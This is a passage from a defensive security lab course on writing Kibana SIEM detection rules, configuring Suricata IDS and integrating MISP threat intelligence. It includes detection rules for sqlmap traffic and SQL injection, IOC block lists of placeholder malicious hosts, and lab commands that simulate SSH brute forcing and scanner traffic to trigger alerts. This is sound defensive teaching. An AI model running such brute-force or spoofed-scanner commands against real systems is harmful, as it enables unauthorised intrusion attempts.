Lunch Break (12:00 PM - 1:00 PM)

Take a real break! Step away from screens.

Reflection Questions:

- How does defensive security differ from offensive?

- What logs are most valuable for security?
- How would you detect an intrusion attempt?
- What alerts would you create first?

Afternoon Session (1:00 PM - 5:00 PM)

Hour 5: Security Event Correlation and Detection Rules (1:00 - 2:00 PM)

Writing Detection Rules

Detection rule components:

- **Trigger:** What event to look for
- **Condition:** When to alert
- **Severity:** How critical
- **Actions:** What to do

Exercise 7: Creating SIEM Detection Rules (30 minutes)

Rule 1: Multiple Failed SSH Logins

In Kibana:

1. **Security → Rules → Create new rule**
2. **Rule type:** Threshold
3. **Index patterns:** `filebeat-*`
4. **Custom query:**

```
event.dataset: "system.auth" AND
event.action: "ssh_login" AND
event.outcome: "failure"
```

5. **Threshold:** Count greater than 5
6. **Time window:** 5 minutes
7. **Group by:** `source.ip`
8. **Name:** "SSH Brute Force Attempt"
9. **Severity:** High
10. **Description:** "Multiple failed SSH authentication attempts from single IP"
11. **MITRE ATT&CK:** Credential Access - Brute Force (T1110)
12. **Create and enable rule**

Rule 2: Successful Login After Failures

1. **Create new rule → EQL (Event Query Language)**
2. **Query:**

```
sequence by source.ip, user.name
  [authentication where event.outcome == "failure"] with runs=3
  [authentication where event.outcome == "success"]
```

3. **Name:** "Successful Auth After Failed Attempts"
4. **Severity:** Medium
5. **Description:** "User successfully authenticated after multiple failures"

6. **MITRE ATT&CK:** Initial Access (TA0001)

Rule 3: New User Account Created

1. **Create new rule → Custom query**
2. **Query:**

```
event.action: ("user-added" OR "user-created") AND
event.module: "system"
```

3. **Name:** "New User Account Created"
4. **Severity:** Medium
5. **Note:** Track for baseline, alert on anomalies

Rule 4: Privilege Escalation Attempt

1. **Query:**

```
event.action: "executed" AND
process.name: ("sudo" OR "su") AND
event.outcome: "failure"
```

2. **Name:** "Failed Privilege Escalation"
3. **Severity:** High
4. **MITRE ATT&CK:** Privilege Escalation (TA0004)

Test Your Rules:

```
bash
```

```
# Trigger SSH brute force rule
for i in {1..10}; do
  ssh invalid_user@localhost
done

# Check Security → Alerts in Kibana
# Your rule should fire!
```

Understanding False Positives

Common causes:

- Rules too broad
- Legitimate admin activity
- Automated processes
- Misconfigured applications

Tuning strategies:

- Whitelist known-good IPs
- Adjust thresholds
- Add context filters
- Time-based exceptions

Exercise: Tune a Rule

```
bash
```

```
# Create whitelist for trusted IPs
# In rule configuration:
NOT source.ip: ("192.168.1.10" OR "192.168.1.11")

# Exclude service accounts
NOT user.name: ("backup_account" OR "monitoring_user")

# Business hours only
@timestamp >= "now-12h" AND hour_of_day >= 9 AND hour_of_day <= 17
```

Hour 6: Network Security Monitoring with Suricata (2:00 - 3:00 PM)

Intrusion Detection Systems (IDS)

IDS vs IPS:

IDS (Intrusion Detection System):

- Passive monitoring
- Detects and alerts
- Doesn't block traffic
- No impact on performance
- Learning/baseline mode

IPS (Intrusion Prevention System):

- Active blocking
- Prevents attacks

- Inline deployment
- Can impact performance
- Production mode

Suricata: Modern IDS/IPS engine

- High-performance
- Multi-threaded
- Protocol analysis
- File extraction
- TLS inspection
- Lua scripting

Exercise 8: Configuring Suricata (30 minutes)

Step 1: Suricata Configuration

```bash
# Edit Suricata config
sudo nano /etc/suricata/suricata.yaml
```

Key configurations:

```yaml
```

```
# Network interface
af-packet:
  - interface: eth0
    threads: 4

# Home network (adjust to your network)
vars:
  address-groups:
    HOME_NET: "[192.168.1.0/24]"
    EXTERNAL_NET: "!$HOME_NET"

# Enable EVE JSON logging
outputs:
  - eve-log:
      enabled: yes
      filetype: regular
      filename: eve.json
      types:
        - alert:
            payload: yes
            payload-buffer-size: 4kb
        - http:
            extended: yes
        - dns:
            query: yes
            answer: yes
        - tls:
            extended: yes
        - ssh
        - smtp
        - flow
```

Step 2: Update Suricata Rules

```bash
# Update rules from Emerging Threats
sudo suricata-update

# List rule sources
sudo suricata-update list-sources

# Enable specific rule source
sudo suricata-update enable-source et/open

# Update and reload
sudo suricata-update
sudo systemctl restart suricata
```

Step 3: Test Suricata Detection

```bash
# Test HTTP detection
curl http://testmynids.org/uid/index.html
# This triggers a test signature

# Check Suricata alerts
sudo tail -f /var/log/suricata/fast.log

# View detailed JSON logs
sudo tail -f /var/log/suricata/eve.json | jq
```

Step 4: Create Custom Suricata Rule

```bash
# Edit local rules
sudo nano /etc/suricata/rules/local.rules
```

Add custom rules:

```
# Alert on ICMP ping
alert icmp any any -> $HOME_NET any (msg:"ICMP Ping Detected"; itype:8; sid:1000001; rev:1;)

# Alert on SSH connection attempts
alert tcp any any -> $HOME_NET 22 (msg:"SSH Connection Attempt"; flags:S; sid:1000002; rev:1;)

# Alert on suspicious User-Agent
alert http any any -> $HOME_NET any (msg:"Suspicious User-Agent"; content:"User-Agent|3a| sqlmap";
http_header; sid:1000003; rev:1;)

# Alert on potential SQL injection
alert http any any -> $HOME_NET any (msg:"Possible SQL Injection"; content:"SELECT"; http_uri; nocase;
sid:1000004; rev:1;)
```

Reload Suricata:

```bash
```

```
# Test configuration
sudo suricata -T -c /etc/suricata/suricata.yaml

# Reload rules
sudo systemctl reload suricata

# Or restart if needed
sudo systemctl restart suricata
```

Test custom rules:

bash

```
# Trigger ICMP rule
ping -c 3 localhost

# Trigger SSH rule
nc localhost 22

# Trigger suspicious User-Agent
curl -A "sqlmap/1.0" http://localhost

# Check alerts
sudo tail -20 /var/log/suricata/fast.log
```

Integrating Suricata with Elastic Stack

Step 1: Configure Filebeat for Suricata

bash

```
# Enable Suricata module
sudo filebeat modules enable suricata

# Configure Suricata module
sudo nano /etc/filebeat/modules.d/suricata.yml
```

Suricata module config:

```
yaml

- module: suricata
  eve:
    enabled: true
    var.paths: ["/var/log/suricata/eve.json"]
```

Step 2: Restart Filebeat

```
bash

# Restart to load Suricata logs
sudo systemctl restart filebeat

# Verify logs are being ingested
sudo tail -f /var/log/filebeat/filebeat
```

Step 3: View Suricata Alerts in Kibana

1. **Open Kibana → Discover**
2. **Select** `filebeat-*`
3. **Filter:** `event.module: "suricata"`

4. **Explore alert fields:**
    - `suricata.eve.alert.signature`
    - `suricata.eve.alert.severity`
    - `source.ip` and `destination.ip`
    - `suricata.eve.alert.category`

Step 4: Create Suricata Dashboard

Visualizations to create:

- Alert timeline (line chart)
- Top signatures (data table)
- Severity distribution (pie chart)
- Source/Destination IPs (network graph)
- Protocol distribution (horizontal bar)

Hour 7: Threat Intelligence Integration (3:00 - 4:00 PM)

What is Threat Intelligence?

Threat Intelligence: Actionable information about threats

Types:

Strategic Intelligence:

- High-level trends
- Threat actor profiles

- Geopolitical analysis
- For executives and decision-makers

Tactical Intelligence:

- TTPs (Tactics, Techniques, Procedures)
- Attack patterns
- For security architects

Operational Intelligence:

- Ongoing campaigns
- Threat actor activities
- For SOC teams

Technical Intelligence:

- IOCs (Indicators of Compromise)
- Malware signatures
- IP/domain blacklists
- For detection systems

Indicators of Compromise (IOCs)

Common IOC types:

- IP addresses (malicious servers)
- Domain names (C2 servers, phishing)
- URLs (malware distribution, exploits)

- File hashes (malware samples)
- Email addresses (phishing campaigns)
- Registry keys (malware persistence)
- Mutexes (malware identifiers)

Exercise 9: MISP Integration (30 minutes)

MISP (Malware Information Sharing Platform)

Step 1: Start MISP

```bash
# Start MISP services (if not running)
sudo systemctl start misp

# Check status
sudo systemctl status misp

# Access MISP web interface
firefox http://localhost &
```

Default credentials:

- Email: `admin@admin.test`
- Password: `admin`

Step 2: MISP Initial Setup

1. **Login to MISP**
2. **Change default password** (Administration → List Users → Edit admin)

3. **Configure organization** (Administration → Add Organisation)
4. **Create your user** (Administration → Add User)

Step 3: Add Threat Intelligence Feeds

1. **Sync Actions → List Feeds**
2. **Enable feeds:**
   - CIRCL OSINT Feed
   - abuse.ch URLs
   - Botvrij.eu
   - OpenPhish
3. **Fetch feeds:** Click "Fetch and store all feed data"

Step 4: Create Sample Event

1. **Event Actions → Add Event**
2. **Distribution:** Your organization only
3. **Threat Level:** High
4. **Analysis:** Ongoing
5. **Event Info:** "Simulated Malware Campaign"
6. **Add** button

Step 5: Add Attributes (IOCs)

```bash
```

```
# Add malicious IP
Attribute type: ip-dst
Value: 198.51.100.25
Comment: Known C2 server

# Add malicious domain
Attribute type: domain
Value: malicious-domain.example
Comment: Phishing infrastructure

# Add malware hash
Attribute type: md5
Value: 5d41402abc4b2a76b9719d911017c592
Comment: Trojan sample

# Add URL
Attribute type: url
Value: http://malicious-site.example/payload.exe
Comment: Malware distribution
```

Step 6: Tag with MITRE ATT&CK

1. **Select attribute**
2. **Add Tag:**
   - mitre-attack-pattern: "Command and Control - T1071"
3. **Save**

Step 7: Export IOCs for Blocking

1. **Event Actions → Download as...**
2. **Choose format:**

- STIX (industry standard)
- CSV (for import to other tools)
- JSON (for automation)

Integrating Threat Intelligence with SIEM

Exercise 10: IOC Enrichment in Kibana (15 minutes)

Create enrichment pipeline:

1. **Management → Ingest Pipelines**
2. **Create pipeline → New pipeline**
3. **Name:** "threat-intel-enrichment"
4. **Description:** "Enrich logs with threat intelligence data"

Add processors to pipeline:

Processor 1: Set threat indicator field

```
json

{
  "set": {
    "field": "threat.indicator.ip",
    "value": "{{source.ip}}",
    "if": "ctx.source?.ip != null"
  }
}
```

Processor 2: Check against known malicious IPs

```json
{
  "script": {
    "lang": "painless",
    "source": """
      def malicious_ips = ['198.51.100.25', '203.0.113.50', '192.0.2.1'];
      if (ctx.source?.ip != null && malicious_ips.contains(ctx.source.ip)) {
        if (ctx.threat == null) {
          ctx.threat = new HashMap();
        }
        ctx.threat.matched = true;
        ctx.threat.indicator_type = 'malicious_ip';
        ctx.threat.source = 'local_threat_intel';
        ctx.threat.severity = 'high';
      }
    """
  }
}
```

Processor 3: Enrich with GeoIP data

```json
{
  "geoip": {
    "field": "source.ip",
    "target_field": "source.geo",
    "ignore_missing": true
  }
}
```

Processor 4: Add threat category

```json
{
  "set": {
    "field": "event.category",
    "value": "threat",
    "if": "ctx.threat?.matched == true"
  }
}
```

5. **Test the pipeline:**

```json
{
  "docs": [
    {
      "_source": {
        "source": {
          "ip": "198.51.100.25"
        },
        "event": {
          "action": "connection"
        }
      }
    }
  ]
}
```

6. **Click "Test pipeline"** to verify enrichment works

7. **Create the pipeline**

Apply pipeline to Filebeat:

```bash
# Edit Filebeat configuration
sudo nano /etc/filebeat/filebeat.yml
```

Add to output.elasticsearch section:

```yaml
output.elasticsearch:
  hosts: ["localhost:9200"]
  pipeline: "threat-intel-enrichment"
```

Restart Filebeat:

```bash
sudo systemctl restart filebeat
```

Create Detection Rule for Threat Intel Matches:

1. **Security → Rules → Create new rule**
2. **Rule type:** Custom query
3. **Index patterns:** `filebeat-*`
4. **Custom query:**

```
threat.matched: true AND threat.indicator_type: "malicious_ip"
```

5. **Additional query (for multiple IOC types):**

```
(source.ip: ("198.51.100.25" OR "203.0.113.50" OR "192.0.2.1")) OR
(destination.ip: ("198.51.100.25" OR "203.0.113.50" OR "192.0.2.1")) OR
(dns.question.name: ("malicious-domain.example" OR "evil.com")) OR
(url.full: *malware-distribution.example*)
```

6. **Rule details:**
   - **Name:** "Communication with Known Malicious Infrastructure"
   - **Severity:** Critical
   - **Risk score:** 99
   - **Description:** "Traffic detected to/from known malicious IP addresses or domains based on threat intelligence"
   - **MITRE ATT&CK:** Command and Control (TA0011)
   - **Tags:** threat_intel, malicious_infrastructure, c2
7. **Actions:**
   - Create alert in SIEM
   - Send notification to SOC team
   - Trigger automated response workflow (optional)
8. **Schedule:** Run every 1 minute
9. **Create and enable rule**

Test the enrichment and detection:

bash

```
# Simulate connection to malicious IP
ping -c 3 198.51.100.25

# Or simulate with curl
curl http://198.51.100.25 --connect-timeout 5

# Check Kibana for enriched logs
# 1. Go to Discover
# 2. Search: threat.matched: true
# 3. Verify threat fields are populated

# Check Security → Alerts
# Your rule should fire!
```

View enriched data in Kibana:

1. **Discover → filebeat-***
2. **Search:** `threat.matched: true`
3. **Expand a log entry**
4. **Verify enrichment fields:**
   - `threat.matched: true`
   - `threat.indicator_type: malicious_ip`
   - `threat.source: local_threat_intel`
   - `threat.severity: high`
   - `source.geo.*` (GeoIP data)

Create Threat Intelligence Dashboard:

Visualization 1: Threat Matches Over Time

```
Type: Line chart
Index: filebeat-*
Query: threat.matched: true
Y-axis: Count
X-axis: @timestamp
Split by: threat.indicator_type
```

Visualization 2: Top Malicious IPs

```
Type: Data table
Query: threat.matched: true
Columns: source.ip, count, threat.severity, source.geo.country_name
Sort: Count descending
```

Visualization 3: Threat Intelligence Sources

```
Type: Pie chart
Query: threat.matched: true
Slice by: threat.source
```

Visualization 4: Geographic Distribution of Threats

```
Type: Maps
Query: threat.matched: true
Layer: source.geo.location
Size by: Count of events
```

Combine into dashboard:

1. **Dashboard → Create dashboard**
2. **Add all threat intelligence visualizations**
3. **Add time filter**
4. **Save as:** "Threat Intelligence Dashboard"

Advanced: Integrate External Threat Feeds

Option 1: Using Logstash with threat feed:

```bash
# Create Logstash configuration
sudo nano /etc/logstash/conf.d/threat-intel.conf
```

```ruby
```

```
input {
  http_poller {
    urls => {
      abuse_ch => "https://feodotracker.abuse.ch/downloads/ipblocklist.txt"
    }
    interval => 3600
    codec => "plain"
    metadata_target => "http_poller_metadata"
  }
}

filter {
  # Parse the threat feed
  grok {
    match => { "message" => "^(?<malicious_ip>%{IP})$" }
  }

  # Store in Elasticsearch for lookup
  if [malicious_ip] {
    mutate {
      add_field => {
        "threat_feed" => "abuse_ch"
        "threat_type" => "malware_c2"
      }
    }
  }
}

output {
  elasticsearch {
    hosts => ["localhost:9200"]
    index => "threat-feed-abuse-ch"
```

```
  }
}
```

Option 2: Using MISP API integration:

Create Python script for MISP to Elasticsearch sync:

```python
```

```python
#!/usr/bin/env python3
# misp_to_elastic.py

from pymisp import PyMISP
from elasticsearch import Elasticsearch
import json

# MISP Configuration
misp_url = 'http://localhost'
misp_key = 'YOUR_MISP_API_KEY'
misp = PyMISP(misp_url, misp_key, False)

# Elasticsearch Configuration
es = Elasticsearch(['http://localhost:9200'])

# Fetch events from MISP
events = misp.search(eventinfo='malware', limit=100)

# Index IOCs into Elasticsearch
for event in events:
    for attribute in event['Event']['Attribute']:
        if attribute['type'] in ['ip-dst', 'domain', 'url', 'md5', 'sha256']:
            doc = {
                'ioc_value': attribute['value'],
                'ioc_type': attribute['type'],
                'event_id': event['Event']['id'],
                'threat_level': event['Event']['threat_level_id'],
                'category': attribute['category'],
                'timestamp': attribute['timestamp'],
                'source': 'MISP'
            }

            es.index(index='threat-intel-iocs', document=doc)
```

```
print("MISP IOCs synced to Elasticsearch")
```

Make executable and schedule:

```
bash

chmod +x misp_to_elastic.py

# Add to crontab (run hourly)
crontab -e
# Add line:
# 0 * * * * /usr/bin/python3 /path/to/misp_to_elastic.py
```

Option 3: Using Filebeat with threat intel module:

```
yaml
```

```
# /etc/filebeat/modules.d/threatintel.yml
- module: threatintel
  abuseurl:
    enabled: true
    var.input: httpjson
    var.url: https://urlhaus.abuse.ch/downloads/json/
    var.interval: 3600s

  abusech:
    enabled: true
    var.input: httpjson
    var.url: https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json
    var.interval: 3600s

  anomali:
    enabled: false
    # Requires API key

  misp:
    enabled: true
    var.url: http://localhost
    var.api_key: YOUR_API_KEY
```

Enable and restart:

```
bash

sudo filebeat modules enable threatintel
sudo systemctl restart filebeat
```

Why Threat Intelligence Integration Matters:

1. **Faster Detection:** Automatically flag known-bad indicators
2. **Context Enrichment:** Understand what you're seeing
3. **Prioritization:** Focus on confirmed threats first
4. **Proactive Defense:** Block before damage occurs
5. **Informed Response:** Know what you're dealing with
6. **Reduced Investigation Time:** IOC matches provide immediate context

Best Practices:

- **Update feeds regularly** (hourly or daily)
- **Validate IOCs** before blocking (reduce false positives)
- **Maintain multiple sources** (don't rely on single feed)
- **Track feed performance** (which sources provide value)
- **Age out old IOCs** (remove stale indicators)
- **Document feed sources** (know where data comes from)
- **Test before production** (validate enrichment works)
